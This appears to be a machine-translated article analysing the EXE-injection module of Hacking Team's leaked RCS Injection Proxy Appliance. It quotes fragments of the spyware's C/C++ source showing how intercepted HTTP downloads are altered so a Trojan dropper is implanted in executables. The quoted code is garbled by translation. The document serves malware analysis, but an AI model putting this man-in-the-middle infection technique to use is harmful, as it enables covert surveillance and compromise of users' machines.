Analysis of Hacking Team traffic attacks based on EXE attacks

Source: Internet
Author: User

Analysis of Hacking Team traffic attacks based on EXE attacks

0 × 01 Preface
IPA is not the abbreviation of Apple application file iPhoneApplication, but the abbreviation of Injection Proxy Appliance. Injection Proxy Appliance is part of Galileo Remote Control System (Galileo Remote Control System, its main role is:
IPA is a security device used by the Hacking Team RCS system to attack. It uses the man-in-the-middle attack technology and the streamline injection mechanism to operate transparently on different networks, whether on a LAN or an internal switch.
IPA can also detect HTTP connections from monitored network traffic and conduct man-in-the-middle attacks on them. There are three main attack methods: HTML injection, EXE injection, and replacement attacks. When the monitored HTTP connection hits the preset rule, IPA executes the injection attack. IPA can set rules for users (such as IP addresses) and resources (such as executable files) to be injected.
You can set rules for users (such as IP addresses) and resources (such as executable files) to be injected.
In the previous article "html injection for man-in-the-middle attacks", we have analyzed html injection attacks, one of the three most popular IPA attacks. This article focuses on the attack methods of its EXE injection.
0 × 02 attack principles
The process of client and server information exchange based on HTTP/1.0 protocol includes four steps:
(1) Establish a connection;
(2) send a request;
(3) response information;
(4) Close the connection.
IPA detects HTTP connections from network traffic monitoring in proxy mode, hijacks the HTTP Header of the Http connection, and modifies the Http Header content to launch an attack. The attack process is 1.

Figure 1 EXE Injection Attack Process
As shown in figure 1, the main two steps of exe injection attacks are to process request messages and implant Trojans. The following two steps are analyzed.
0 × 03 Request Message Processing
1. Check whether the client executes a range request.
The Range header field can request one or more sub-ranges of an object. Therefore, you must first check that the HTTP data stream sent by the client contains a "range" request. What we want is that it does not contain a "range" request because I want to modify the packet, the size will change after modification. If the request contains a "range", the following message (http reply header) is returned ):
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Connection: close
That is, 416 error. After resolving the "range" request, complete a handshake with the server and establish an SSL connection.
2. Complete a handshake with the server and establish an SSL connection
After detecting a "range" request, if there is no "range" request, you need to shake hands with the server and establish an SSL connection. Before that, you need to set the BIO server and server port number as follows:
/* Retrieve the host tag */
Host = strcasestr (header, HTTP_HOST_TAG );
 
If (host = NULL)
Return-EINVALID;
 
SAFE_STRDUP (host, host + strlen (HTTP_HOST_TAG ));
 
/* Trim the eol */
If (p = strchr (host, '\ R '))! = NULL)
* P = 0;
If (p = strchr (host, '\ n '))! = NULL)
* P = 0;
 
/* Connect to the real server */
* Sbio = BIO_new (BIO_s_connect ());
BIO_set_conn_hostname (* sbio, host );//
BIO_set_conn_port (* sbio, "http ");
If the handshake can be successfully completed, continue to the next step; otherwise, return-ENOADDRESS (error code 5 ).
0 × 04 Request Message Processing
1. Reduce the HTTP protocol from 1.1 to 1.0 to avoid block encoding and other problems
First, one of the differences between HTTP/1.0 and HTTP/1.1 is:
(1) HTTP 1.0 requires that the browser and the server only maintain a short connection. Each request of the browser must establish a TCP connection with the server. After the server completes request processing, the TCP connection is immediately disconnected, the server does not track each customer or record past requests. 2.

Figure 2 HTTP/1.0 connection
(2) HTTP 1.1 supports persistent connections. Multiple HTTP requests and responses can be sent over a TCP connection, reducing the consumption and delay of establishing and disabling connections. Multiple requests and responses to a webpage file containing many images can be transmitted in one connection, but each individual webpage file's request and response still need to use their own connection. 3.

Figure 3 connecting HTTP/1.1
Http injection does not require persistent connections, so we need to change it to HTTP/1.0. In this way, block encoding and other problems can be avoided.
2. Use pure encoding to avoid compression of any type.
In the request message, Accept-Encoding is sent by the browser to the server, declaring the Encoding type supported by the browser.
Common examples include:
Accept-Encoding: compress, gzip // supports compress and gzip
Accept-Encoding: // The default value is identity.
Accept-Encoding: * // supports all types of Accept-Encoding: compress; q = 0.5, gzip; q = 1.0 // supports gzip and compress in sequence
Accept-Encoding: gzip; q = 1.0, identity; q = 0.5, *; q = 0 // supports gzip and identity in sequence
To better modify the Response Message later, you need to set Accept-Encoding to none to avoid any type of compression, as shown in source code 4.

Figure 4 set Accept-Encoding to none
3. Do not use cache (avoid the server from returning 304 responses)
If you do not use the Cache, You need to delete the If-Modified-Since and If-None-Match in the Cache header field to better obtain new files, as shown in Figure 5.


Figure 5 delete If-Modified-Since and If-None-Match in the Cache Header
If-Modified-Since
The last modification time of the client-side cache page is sent to the server. The server compares this time with the last modification time of the actual file on the server. If the time is the same, 304 is returned, and the client directly uses the local cache file. If the time is different, 200 and the new file content are returned. The client discards the old file, caches the new file, and displays it in the browser. 6.

Figure 6 If-Modified-Since
If-None-Match
If-None-Match and ETag work together. The working principle is to add ETag information in HTTP Response. When the user requests the resource again, the If-None-Match information (ETag value) will be added to the HTTP Request ). If the ETag of the server authentication resource is not changed (the resource is not updated), a 304 status will be returned to tell the client to use the local cache file. Otherwise, the system returns the 200 status and the new resource and Etag. 7.

Figure 7 If-None-Match
4. Close and keep the connection
We all know the differences between Connection: keep-alive and Connection: close:
Connection: keep-alive
After a webpage is opened, the TCP connection used to transmit HTTP data between the client and the server is not closed. If the client accesses the webpage on the server again, will continue to use this established connection.
Connection: close
After a Request is completed, the TCP connection used to transmit HTTP data between the client and the server is closed. When the client sends the Request again, a TCP connection needs to be established again.
Previously, we reduced the HTTP protocol from 1.1 to 1.0. In order to request a message that may have Connection: keep-alive, a problem occurs when the response message is modified later.
In this way, the request message is modified, and then the request is sent to the server ~
/* Send the request to the server */
BIO_puts (* sbio, header );
0 × 05 read and detect response packets
Previously, we sent the modified request message to the server, and the server also responded to the response message. The next step is to read the Response Message and check the validity of the Response Message.
1. Read response packets
Use BIO's int BIO_read (BIO * B, void * buf, int len) function to read response packets and store them in BIO, as follows:
/* Read the reply header from the server */
LOOP {
Len = BIO_read (* sbio, data + written, sizeof (char); // response message length
If (len 0)
Break;
Written + = len; // record the message length
If (strstr (data, cr lf) | strstr (data, LF ))
Break;
}
2. Check whether the client request is successful
After reading the message, you must first check whether the client's request message is successful. If the request fails, Trojan injection is not allowed. Therefore, BIO_new (BIO_f_null () is returned ()). This is also a crucial step. If the request is successful, the HTTP/1.0 200 OK or HTTP/1.1 200 OK status code will be displayed in the Response Message.
/* If the reply is OK */
If (! Strncmp (data, HTTP10_200_ OK, strlen (HTTP10_200_ OK) |
! Strncmp (data, HTTP11_200_ OK, strlen (HTTP11_200_ OK )))
{
... // Omitted
}
Else
{
DEBUG_MSG (D_INFO, "Server [% s] reply is not HTTP 200 OK", host );
DEBUG_MSG (D_EXCESSIVE, "Server reply is: \ n % s", data );
 
/* Create a null filtering bio (send as it is )*/
Fbio = BIO_new (BIO_f_null ());
}
The Status Code 200 indicates that "the request has been successful, and the request's desired response header or data body will be returned with this response .". 3. encoding format of response packets
Generally, the Content-Length header is used in HTTP to indicate the Data Length. Then, in the downstream data process, the Content-Length Method needs to cache all the data on the server in advance, and then all the data is sent to the client.
If you want to generate data while sending the data to the client or the size is not clear, the WEB server needs to replace Content-Length With "Transfer-Encoding: chunked. It indicates that chunked encoding is used to transmit the style of the newspaper. The basic method of chunked encoding is to split large data blocks into multiple small data blocks.
However, we need to inject in the Response Message. Therefore, the "Transfer-Encoding: chunked" cannot appear.
Accept-Encoding indicates the compression method used by the server.
For example, a client sends the following request headers:
Accept :*/*
Accept-Encoding: gzip, deflate, sdch
Accept: */* indicates that it can Accept resources of any MIME type.
Accept-Encoding: gzip, deflate, sdch indicates resources that have been compressed using gzip, deflate, or sdch.
Obviously, we do not want the resources in the response packets to be compressed. Use pure encoding to avoid compression of any type.
4. Check whether the response message is binary data.
After detecting the Transmission Encoding, we need to check the Content-Type in the Response Message. Content-Type is an important Content in the HTTP Response/POST header. It is used to define the MIME Type and webpage encoding of network files. Generally, the browser determines how to process the returned message body Content based on Content-Type, for example, directly displaying or calling the associated program.
Wireshark uses the filter statement http. content_type to filter http data packets containing Content-Type, as shown in figure 8.

Figure 8 Content-Type http packet in Wireshark
Content-Type has the following format:
Text: indicates the standardized representation of Text information. Text messages can be in multiple character sets or formats;

 

Multipart: connects multiple parts of the message body to form a message. These parts can be different types of data;
Application: used to transmit Application data or binary data;
Message: Used to package an E-mail Message;
Image: used to transmit static Image data;
Audio: used to transmit Audio or Audio data;
Video: used to transmit dynamic image data. It can be a Video data format edited together with audio.
In order to modify the message later, I want the response packet to be a binary data packet. If it is not binary data, it is as follows:
If (! Strcasestr (data, "Content-Type: application /")){
DEBUG_MSG (D_INFO, "Not a binary stream, skipping it ");
 
/* Create a null filtering bio (send as it is )*/
Fbio = BIO_new (BIO_f_null ());
}
At this point, the detection of response packets has basically ended.
0 × 06 Trojan Seeding
Previously, we modified the request message and read and detected the Response Message. Next, we will take the most critical step. That is to say, we have nothing to do with everything. So what is Dongfeng? Right, that is, the trojan is implanted. But... How can we inject Trojans?
What we need to do now is implant a Trojan, but does the trojan file exist? Yes, we need to detect the trojan file before inserting it.
1. Trojan file Detection
In the vector-dropper project, I found a project named cooker. Yes, this is the processing Trojan we have written, as shown in figure 9. However, I found that the source code is based on the Boost library.

Figure 9 Cooker source code
After compilation, a file with the suffix ". cooked" is generated. 10.

Figure 10. cooked Trojan file
2. Trojan embedding
The next step is the most critical and complex step.
(1) check whether the MELTER library file exists
We implant Trojans with BIO in the OpenSSL library because the trojan program has been generated as a static library file. Therefore, we need to check whether the library file exists.
# Ifdef HAVE_MELTER
Fbio = BIO_new_injector (path );
BIO_ctrl (fbio, BIO_CTRL_SET_DEBUG_FN, 1, debug_msg );
DEBUG_MSG (D_INFO, "BIO filter instantiated ...");
# Else
DEBUG_MSG (D_ERROR, "ERROR: we don't have the melter lib !!! ");
Fbio = BIO_new (BIO_f_null ());
# Endif
The macro HAVE_MELTER is defined as follows:
/* Whether we have the melter or not */
# Define HAVE_MELTER 1
It is not difficult to see the BIO_new_injector function interface in the MELTER library.
(2) Trojan embedding through BIO chain
The BIO_new_injector function declaration is found in the melter. h header file, and the BIO_new_injector function definition is found in BIO_melt.cpp. It is defined as follows:
BIO * BIO_new_injector (char * file );
 
BIO_METHOD * BIO_f_inject (void)
{
Return (& method_injectf );
}
 
BIO * BIO_new_injector (const char * file)
{
BIO * bio = NULL;
 
Try {
Bio = BIO_new (BIO_f_inject ());
StreamingMelter * sm = (StreamingMelter *) bio-> ptr;
Sm-> initiate ();
Sm-> setRCS (file );
// Printf ("bio inject: % s \ n", file );
} Catch (std: runtime_error & e ){
Printf ("runtime error: % s \ n", e. what ());
Bio = BIO_new (BIO_f_null ());
} Catch (...){
Printf ("unknown error! \ N ");
Bio = BIO_new (BIO_f_null ());
}
 
Return bio;
}
Through analysis, it is found that a new BIO object is created through BIO_f_inject (), while BIO_f_inject () actually only returns a BIO chain. The properties of the BIO chain are as follows:
BIO_METHOD method_injectf =
{
BIO_TYPE_INJECT_FILTER,
"RCS Inject filter ",
Injectf_write,
Injectf_read,
Injectf_puts,
Injectf_gets,
Injectf_ctrl,
Injectf_new,
Injectf_free,
Injectf_callback_ctrl,
};
What is BIO chain first? We all know that a single BIO is a special case of a BIO chain. A bio chain usually includes one source/sink BIO and one or more filter BIO. Data is read or written from the first BIO, then, a series of BIO changes are made to the output (usually a source/sink BIO ).
That is to say, the above BIO chain uses the injectf_write, injectf_read and other column operations to implant the Trojan.
(3) StreamingMelter class
Above, a new StreamingMelter object is created through StreamingMelter * sm = (StreamingMelter *) bio-> ptr. In injectf_new (), bio-> ptr = new StreamingMelter (), specifically, in the constructor of the StreamingMelter class, the constructor is as follows:
StreamingMelter ()
: Done _ (false), currentOffset _ (0), idleToOffset _ (0)
{
TextSection _ = pe (). sections. end ();
Dropper _. reset ();
Buffer _. reset (new Chunk ());
Output _. reset (new Chunk ());
}
Analyze the setRCS (const char * file) function, which is defined as follows:
Void StreamingMelter: setRCS (const char * file ){
 
DEBUG_MSG (D_INFO, "using backdoor % s", file );
 
Try
{
RCSDropper * dropper = new RCSDropper (file );
Dropper _. reset (dropper );
}
Catch (InvalidCookerVersion & e)
{

 

DEBUG_MSG (D_WARNING, "% s has been cooked with RCSCooker version % s, required version is % s ",
File,
E. Valid tive (). c_str (),
E. required (). c_str ());
Throw parsing_error (e. what ());
}
Catch (std: runtime_error & e)
{
Throw parsing_error (e. what ());
}
 
DEBUG_MSG (D_DEBUG, "raw dropper size... % d", (DWORD) dropper _-> size ());
}
Dropper _. reset (dropper), dropper _ is a smart pointer to boost: shared_ptr, where the value of dropper is given to dropper _.
(4) RCSDropper class
By analyzing StreamingMelter: setRCS (const char * file), it is found that the RCSDropper class is called.
RCSDropper: RCSDropper (const char * filepath ){
// Calculate final size
Bf: path p = filepath;
 
If (! Bf: exists (p ))
Throw std: runtime_error (filepath );
 
Std: size_t fileSize = bf: file_size (filepath );
// Size _ = fileSize + 8192;
Size _ = fileSize + 16384;
 
// Create buffer and zero it out
Data _. insert (data _. begin (), size _, 0 );
 
// Calculate all offsets
Offset _. restore = 0;
 
Offset _. header = std: maxstd: size_t> (restoreStub (0), 32 );
DEBUG_MSG (D_DEBUG, "Size of restore stub: % d", offset _. header );
// XXX magic number!
DEBUG_MSG (D_DEBUG, "Offset to header: % d", offset _. header );
Offset _. stage1 = offset _. header + fileSize;
 
LoadFile (filepath );
 
If (verifyCookerVersion () = false ){
Std: string version = header ()-> version;
If (version. empty ())
Version = "";
Throw InvalidCookerVersion (version, printable_required_cooker_version );
}
 
// GenerateKey ();
// Encrypt ();
}
Before that, let's take a look at the data structure of offset:
Struct {
Std: size_t restore;
Std: size_t header;
Std: size_t stage1;
} Offset _;
Use restoreStub to obtain offset _. header, which uses the kobalicek open source library asmjit (: https://github.com/kobalicek/asmjit), asmjit library is mainly to compile the code instantly into machine code, that is, the so-called jit technology.
Finally, load the trojan file.
(5) read and modify the PE Structure
Previously, I introduced BIO-chain, which is correct. BIO-chain implants Trojans by using injectf_write, injectf_read, and other column operations.
It uses the BeaEngine open source Library (: https://github.com/BeaEngine/beaengine) of BeatriX, which supports both i386/AMD64 and cross-platform disassembly engine.
Here, the trojan implant is basically finished. If you are interested, you can study the Pe modification.
0 × 07 Summary
We have established a connection with the server by checking the client's execution range request from the pre-processing of the request message, then the request message is downgraded, the Accept-Encoding is modified, the cache is not used, and the connection is closed. The next step is to read the response message, check whether the client can request success, check the encoding format of the response message, and check whether the response message is a binary data Response Message. The last step is Trojan file detection and Trojan implantation.
With this series of operations, we can complete the exe injection attack. We look forward to "replacing attacks "...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.